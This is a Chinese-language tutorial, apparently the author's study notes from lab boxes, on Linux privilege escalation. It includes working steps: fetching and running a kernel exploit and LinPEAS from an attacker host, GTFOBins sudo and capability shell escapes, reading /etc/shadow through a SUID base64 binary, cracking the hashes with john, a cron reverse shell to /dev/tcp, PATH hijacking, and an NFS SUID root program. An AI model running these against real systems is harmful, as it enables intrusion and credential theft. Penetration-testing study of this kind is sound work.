什么是权限提升
权限提升通常涉及从较低权限的帐户到较高权限的帐户。从技术上讲,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置疏忽来获得对通常禁止用户访问的资源的未经授权的访问。
为什么如此重要?
权限提升至关重要,因为它可以让你获得系统管理员级别的访问权限,从而可以执行以下操作:
重置密码
绕过访问控制以破坏受保护的数据
编辑软件配置
更改现有(或新)用户的权限
执行任何管理命令
手动枚举
现在我成功的拿到了服务器的shell,但是只是一个普通用户的shell 枚举是你访问任何系统后必须采取的第一步,通过搜集本地主机上的各种信息,来达到提权的目的
hostname
hostname
该命令将返回目标机器的主机名,在某些情况下,它可以提供有关目标系统在公司网络中的角色的信息(例如用于 SQL 服务器的 SQL-PROD-01)
uname -a
uname -a
输出系统信息,为我们提供有关系统内核的详细信息。搜索内核漏洞时非常有用。
searchsploit 内核版本
locate 文件所在的地址
可以将此文件copy到桌面上,直接使用
/proc/version
cat /proc/version
proc 文件系统 (procfs) 提供有关目标系统进程的信息。可以在许多不同Linux系统上找到 proc 查看/proc/version可能会为您提供有关内核版本和其他数据的信息,例如是否安装了编译器(例如 GCC)
/etc/issue
cat /etc/issue
系统也可以通过查看/etc/issue文件来识别。该文件通常包含有关操作系统的一些信息
ps
ps
这个命令是查看 Linux 系统上正在运行的进程 ps 将显示以下内容:
PID:进程ID(进程唯一)
TTY:用户使用的终端类型
时间:进程使用的 CPU 时间量(这不是该进程运行的时间)
CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)
ps -A: 查看所有正在运行的进程
ps axjf:查看进程树
我常用的是这个命令:
ps -aux
该aux 选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未连接到终端的进程 (x)。查看 ps aux 命令输出,我们可以更好地了解系统和潜在的漏洞
env
env
该命令将显示环境变量 PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于权限提升。
sudo -l
sudo -l
目标系统可以配置为允许普通用户以 root 权限运行一些(或全部)命令。该sudo -l 命令可用于列出当前用户可以使用运行的所有命令
ls
ls -al
ls命令是显示当前文件夹里的文件 -al参数是显示当前文件夹里所有的文件,包括隐藏文件
id
id
id 命令将提供用户权限级别和组成员身份的一般概述 该id 命令还可用于为另一个用户获取相同的信息,如下所示
id 用户名
/etc/passwd
读取/etc/passwd文件是发现系统上所有用户的一种简单方法
cat /etc/passwd
我们可以筛选一下,使输出更简洁,也可以用于暴力破解
cat /etc/passwd | cut -d ":" -f 1
其中一些是不会很有用的系统或服务用户。另一种方法可能是使用 grep 查找“home”,因为真实用户很可能将他们的文件夹放在“home”目录下
cat /etc/passwd | grep "home"
history
使用命令查看当前用户较早的执行过的命令,可以让我们对目标系统有所了解
ifconfig
目标系统可能是另一个网络的中转点。该ifconfig 命令将为我们提供有关系统网络接口的信息。下面的示例显示目标系统具有三个接口(eth0、tun0 和 tun1)。我们的攻击机可以到达eth0接口但不能直接访问另外两个网络
ip route
可以使用ip route 命令来确认,以查看存在哪些网络路由。
netstat
在对现有接口和网络路由进行初步检查之后,该研究现在主机的通信。该netstat命令可以与几个不同的选项一起使用,以收集有关现有连接的信息。
netstat -a:显示所有监听端口和已建立的连接。
netstat -at或者 netstat -au也可以用来分别列出TCP或 UDP 协议。
netstat -l:以“监听”模式列出端口。这些端口已打开并准备好接受传入连接。这可以与“t”选项一起使用,以仅列出使用 TCP 协议侦听的端口
netstat -s:按协议列出网络使用统计信息(如下) 这也可以与-t or-u 选项一起使用,以将输出限制为特定协议
netstat -tp: 列出服务名称和 PID 信息的连接
netstat -i:显示接口统计信息
我常用的是:
netstat -lentup
可以查看本地tcp和udp开放和连接的端口
find
在目标系统中搜索重要信息和提权可能会很有用
find . -name flag1.txt: 在当前目录中找到名为“flag1.txt”的文件
find /home -name flag1.txt: 在 /home 目录中找到文件名“flag1.txt”
find / -type d -name config: 在“/”下找到名为config的目录
find / -type f -perm 0777:查找具有777权限的文件(所有用户可读、可写和可执行的文件)
find / -perm a=x: 查找可执行文件
find /home -user frank: 在“/home”下查找用户“frank”的所有文件
find / -mtime 10: 查找最近 10 天内修改过的文件
find / -atime 10: 查找过去 10 天内访问过的文件
find / -cmin -60: 查找在过去一小时(60 分钟)内更改的文件
find / -amin -60: 查找最近一小时(60 分钟)内的文件访问
find / -size 50M: 查找大小为 50 MB 的文件
此命令还可以与 (+) 和 (-) 符号一起使用,以指定大于或小于给定大小的文件
find / -size + 100M
但这个阅读起来有点麻烦,我们可以用“-type f 2>/dev/null”的“find”命令将错误重定向到“/dev/null”并获得更清晰的输出
find / -size + 100M -type f 2>/del/null
查找对应权限的文件:
find / -perm -o x -type d 2>/dev/null : 查找可执行文件夹
find / -perm -o w -type d 2>/dev/null: 查找可写文件夹
查找开发工具和支持的语言:
find / -name perl*
find / -name python*
find / -name gcc*
查找特定文件权限: 这个是我提权经常用的命令,关于什么是suid位,下面实战有详细介绍
find / -perm -u=s -type f 2>/dev/null: 查找带有 SUID 位的文件,它允许我们以比当前用户更高的权限级别运行文件。
自动化枚举工具
这里我列举一个常用的枚举脚本
LinPeas
https ://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
下载好后,将此脚本放到/var/www/html目录下 启动apache服务
service apache2 start
回到靶机,移动到/tmp目录下,因为tmp目录默认运行任何用户都可以在里面执行文件,然后下载此脚本
cd /tmp
wget http://ip/linpeas.sh
赋予文件执行权限,然后执行
chmod +x linpeas.sh
./linpeas.sh
我们可以看到,sudo命令和linux内核都有漏洞,并且还指明了cve的编号,非常方便 之后还有一大堆东西,大家有兴趣可以自己慢慢看,我们主要还是利用这两个漏洞提权
内核利用提权
内核利用方法很简单:
识别内核版本
搜索并找到目标系统内核版本的漏洞利用代码
运行漏洞利用
我们拿到shell后,发现只是一个普通用户,而且也不能进入root目录
方法一:手动枚举提权
我们查询一下机子有没有内核漏洞
uname -a
在漏洞库里搜索一下 发现了一个本地提权的漏洞 我们将这个exp复制到当前目录
locate linux/local/37292.c
cp /usr/share/exploitdb/exploits/linux/local/37292.c ./
我们查看一下漏洞说明
searchsploit -x linux/local/37292.c
这里将此漏洞说的很详细,这是漏洞利用操作:
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
这里可以看到,我们将此exp上传到机子上,使用gcc编译一下然后运行就能拿到root权限了 按q退出,开启apache服务
service apache2 start
将此exp移动到/var/www/html目录下
mv 37292.c /var/www/html
回到靶机上,移动到tmp目录下,然后我们下载此exp
cd /tmp
wget http://kaliIP/37292.c
gcc编译一下这个c文件
gcc 37292.c -o exp //-o:输出的文件名
赋予exp执行的权限,然后运行编译后的文件
chmod +x exp
./exp
我们成功的拿到了root权限
方法二:自动化枚举提权
我们将自动化枚举的脚本放到/var/www/html目录下 开启apache服务
service apache2 start
回到靶机,移动到tmp目录下,下载此脚本
cd /tmp
wget http://kaliIP/linpeas.sh
赋予脚本执行权限后执行
chmod +x linpeas.sh
./linpeas.sh
在这里可以看到机子内核存在漏洞 我们上google,搜索关键词如下:
Linux 3.13.0 exploit
点开第一个,可以看到漏洞的详细信息 下载exp 然后将此文件放到kali的/var/www/html目录下,然后操作和第一步一模一样 下载,编译,赋予权限,执行,提权成功
总结
内核提权,通过搜索自己的内核版本,然后在网上搜索对应版本的漏洞来提权
sudo提权
sudo 命令可以以root 权限运行程序 任何用户都可以使用该命令检查与 root 权限相关的当前情况:
sudo -l
这里可以看到,我们可以使用 sudo运行find,less和nano命令 此网站是我提权常用的网站,可以以各种方法提权
https://gtfobins.github.io/
find命令提权
我们搜索find命令,然后进入此页面 我们使用以下命令就能提权:
find . -exec /bin/sh \; -quit
less命令提权
在网站上搜索less命令,进入此页面
我们使用以下命令就能提权:
less /etc/profile
!/bin/sh
回车
总结
以此类推,通过sudo -l 查看当前用户能以sudo运行什么命令,然后去网站上搜索能运行的命令,根据网站上的教程来提权
https://gtfobins.github.io/
SUID提权
什么是setuid?
setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配
这么说起来有点绕,我们来举一个例子
一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了
演示 我们用user用户运行一个vim 然后新开一个窗口查看后台进程
ps -aux
这里可以看到,我们的vim正在以user的权限运行中,然后我们去执行一下靶机上的setuid文件看看 这里可以看到,我们虽然是user用户,但执行文件后,文件正以root权限运行 我们查看文件的权限 r代表读,w代表写,x代表执行,那s是什么呢
s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的
当这个位被user权限的用户执行时,linux实际上是以文件的创造者的权限运行的,在这种情况下,它是以root权限运行的
发现suid文件
我们使用以下命令列出机子上的suid文件:
find / -type f -perm -04000 -ls 2>/dev/null
我们可以以root权限执行base64命令
base64 /etc/shadow | base64 --decode
我们加密一个文件内容后,再解密显示出来,不就是读取任意文件了 将此文档内容复制下来后,我们可以用john爆破密码
john爆破账号密码
保存后使用john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
这里我们爆破了三个用户的账号密码,我们可以一个一个登录上去,继续提权到root用户
或者我们直接读flag文件
find / -name “flag*.*”
这里我们直接cat文件是没有权限的,我们使用以下命令
base64 /home/ubuntu/flag3.txt | base64 --decode
我们可以直接看到文件里的内容
总结
suid提权,主要还是熟悉各种命令的使用,通过某个能以root权限运行的命令来想办法提权
Capabilities提权
Capabilities为root进行更加细粒度的划分。如果进程不是特权进程,而且也没有root的有效id,系统就会去检查进程的capabilities,来确认该进程是否有执行特权操作的的权限。 我们使用以下命令来列出启用Capabilities的工具
getcap -r / 2>/dev/null
我们可以看到,vim启用了capabilities,它被赋予了cap_setuid+ep 我们去搜索vim的提权方法
https://gtfobins.github.io/
搜索vim,进入以下页面
可以看到,我们直接使用以下命令就能提升到root权限
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
总结
这个和suid的提权方法差不多,通过查看开启capabilities的工具,然后去网站上搜索对应的提权方法
cron jobs 提权
Cron jobs是存放特定时间运行脚本或二进制程序的文件 任何用户都可以阅读保存的 cron jobs的文件:
cat /etc/crontab
我们可以看到有一个奇怪的脚本一直在以root权限运行,脚本名字为backup.sh,而且我们也可以修改此脚本,我们写一个简单的回连shell
bash -i >& /dev/tcp/IP/PORT 0>&1
保存后回到kali,使用nc监听本地的4444端口
nc -nvlp 4444
等了一会,就有一个shell连接过来
总结
如果无法写入文件,可以看一下cron运行的脚本内容,根据运行的工具来提权,比如tar,zip什么的
PATH提权
如果当前用户具有写入权限的文件夹位于路径中,那可以劫持应用程序来运行脚本 我们可以看到当前目录下有两个文件,都是root用户创建的,其中,test是suid文件,thm.py会执行thm文件里的内容 我们无法运行thm.py,我们运行test程序看看 他显示未找到thm,结合thm.py的内容,我们可以猜测,这个文件源代码和thm.py的很相似 我们可以自己创建thm文件,因为test是suid文件,我们可以直接拿到root权限
echo "/bin/bash" > thm
chmod 777 thm
export PATH=/home/murdoch:$PATH //将环境变量设置为当前文件夹,这样程序查找thm就只能找到我们创建的那个文件
运行test程序 我们成功拿到了root权限
NFS提权
特权升级向量并不局限于内部访问。共享文件夹也可以获取目标系统的 root 访问权限 NFS(网络文件共享)配置保存在 /etc/exports 文件中
cat /etc/exports
可以看到,这台主机共享了三个文件夹,在上面看到的“no_root_squash”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody 并剥夺任何文件以 root 权限操作。如果可写共享上存在“no_root_squash”选项,我们可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它 回到kali,我们查看目标主机开放的文件夹
showmount -e IP
我们在tmp目录下创建一个文件夹来挂载这些文件夹
cd /tmp
mkdir test
mount -o rw IP:/tmp /tmp/test
然后我们进入test文件夹,创建一个文件
cd test
mkdir test
可以看到,目标靶机的tmp目录下也多了一个test文件 回到kali,我们可以创建一个suid文件,运行就能获得root权限
touch exp.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
然后gcc编译此文件,然后赋予此文件suid权限
gcc exp.c -o exp
chmod +s exp
回到靶机,我们运行此文件 成功拿到root权限
总结
提权需要详细的收集目标机子上的信息,然后根据我上面总结的方法来慢慢提权,这篇文章是我学习中的笔记,和本人的提权经验,有什么不会的就问我,qq:3316735898
|